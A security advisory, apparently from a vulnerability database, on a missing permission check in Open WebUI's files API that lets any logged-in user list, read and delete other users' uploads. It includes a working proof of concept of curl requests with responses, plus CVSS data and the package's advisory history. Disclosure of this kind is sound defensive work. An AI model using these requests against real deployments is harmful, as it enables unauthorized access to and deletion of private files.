High

Open WebUI: Missing permission check in files API allows authenticated users to list, access and delete every uploaded file

  • Disclosed: 14.05.2026
  • Updated: 11.10.2026 14:18

Summary

A missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform.

Details

All files/ related endpoints lack permission checks.

Listing all files

For example, let's see how file listing is implemented: https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L107-L110 https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/models/files.py#L26 Notice the endpoint depends only on an authenticated user check, no file filtering is done to match the uploaded files' user_id to the requesting user.

This problem repeats itself throughout the various route implementations, allowing any user to perform actions on any file. Some note worthy functions:

Accessing the content of any file

https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L173-L193

Deleting any file

https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L224-L241

PoC

Configuration

  1. I ran a clean install of the latest version using one of the docker one-liners on an Ubuntu desktop: docker run -d -p 3000:8080 -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:ollama
  2. I created an admin user
  3. I created a second user to act as the threat actor with no elevated permissions
  4. Admin user uploaded test.txt in a conversation with model
  5. Admin user uploaded mydeepest_secret.docx in a conversation with model

Listing files uploaded by other users

  1. Login to threat actor
  2. Perform a GET request to /api/v1/files/
bash
curl -X 'GET' \
  'http://localhost:3000/api/v1/files/' \
  -H 'accept: application/json'
js
[
  {
    "id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
    "user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
    "filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
    "meta": {
      "name": "test.txt",
      "content_type": "text/plain",
      "size": 4,
      "path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
    },
    "created_at": 1724709202
  },
  {
    "id": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98",
    "user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
    "filename": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx",
    "meta": {
      "name": "mydeepest_secret.docx",
      "content_type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
      "size": 6485,
      "path": "/app/backend/data/uploads/8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx"
    },
    "created_at": 1724710236
  }
]

Accessing other users' file content

  1. Login to threat actor
  2. Perform a GET request to /api/v1/files/{id}/content
bash
curl -X 'GET' \
  'http://localhost:3000/api/v1/files/b9733e9c-0714-4425-8915-d0361bf66dfc/content' \
  -H 'accept: application/json'
wow

Deleting another user's uploaded file

  1. Login to threat actor
  2. Perform a DELETE request to /api/v1/files/{id}
bash
curl -X 'DELETE' \
  'http://localhost:3000/api/v1/files/8f058e18-fec1-4b9f-bb4e-c17f39d03c98' \
  -H 'accept: application/json'
js
{
  "message": "File deleted successfully"
}
  1. We will verify this action by furthur listing all files as mentioned above:
js
[
  {
    "id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
    "user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
    "filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
    "meta": {
      "name": "test.txt",
      "content_type": "text/plain",
      "size": 4,
      "path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
    },
    "created_at": 1724709202
  }
]

Impact

Having access to user uploaded files, regardless of ownership or permission level, breaks the confidentiality of sensitive data stored by users. Furthermore, the ability to delete other user's uploaded files disrupts the integrity of the system.

Personal Notice

In case this submission does get recognized and numbered as a CVE I'd perfer to be credited by my full name - Yuval Gal, instead of my GitHub handle.

Thanks in advance and have a good week (:

Credits

This vulnerability was reported by Yuval Gal (GitHub: @vi11ain).

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) open-webui < 0.3.16 0.3.16

References

CVSS score 8.1/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness (CWE)
CWE-284
Platform
Python (PyPI)
Package
open-webui
Disclosed
14.05.2026
Updated
11.10.2026 14:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2753 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-r8wh-8m7r-fh33 - CC BY 4.0

Vulnerability history: open-webui

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (161) in the archive
Total entries
161
First → latest
08.2024 09.2026
Without a fix
11
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 77
  • Medium 75
  • Low 8

Disclosures per year

  1. 2024: 3
  2. 2025: 21
  3. 2026: 137
Severity:
  1. High · 7.7 CVE-2026-59221 >= 0.9.6, < 0.10.0 0.10.0
  2. High · 7.3 CVE-2026-59214 < 0.10.0 0.10.0
  3. High · 8.7 CVE-2026-54011 < 0.9.6 0.9.6
  4. High · 7.1 CVE-2026-45349 < 0.9.0 0.9.0
  5. High · 7.7 CVE-2026-45303 < 0.6.5 0.6.5
  6. Open WebUI: Missing permission check in files API allows authenticated users to list, access and delete every uploaded file this entry
    High · 8.1 CVE-2026-45301 < 0.3.16 0.3.16
  7. High · 7.1 CVE-2026-44569 < 0.6.19 0.6.19
  8. High · 8.1 CVE-2026-44565 < 0.6.10 0.6.10
  9. High · 7.3 CVE-2026-44566 < 0.1.124 0.1.124
  10. High · 7.3 CVE-2026-44567 < 0.1.124 0.1.124
  11. High · 7.3 CVE-2026-44549 < 0.8.0 0.8.0
  12. Critical · 9.1 CVE-2026-44551 < 0.9.0 0.9.0
  13. High · 7.3 CVE-2026-44721 < 0.9.0 0.9.0
  14. High · 7.7 CVE-2026-34222 < 0.8.11 0.8.11
  15. High · 8.4 CVE-2024-7990 <= 0.3.8 no fix
  16. High · 8.0 CVE-2024-7806 < 0.3.33 0.3.33
  17. High · 7.6 CVE-2024-7053 <= 0.3.8 no fix
  18. High · 8.1 CVE-2024-7043 < 0.3.16 0.3.16
  19. High · 7.5 CVE-2024-7036 <= 0.3.8 no fix
  20. High · 7.5 ghsa-w466-2wfc-8g58 <= 0.3.32 no fix
  21. High · 7.5 CVE-2024-12534 <= 0.3.32 no fix
  22. High · 7.5 CVE-2024-12537 <= 0.3.32 no fix

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.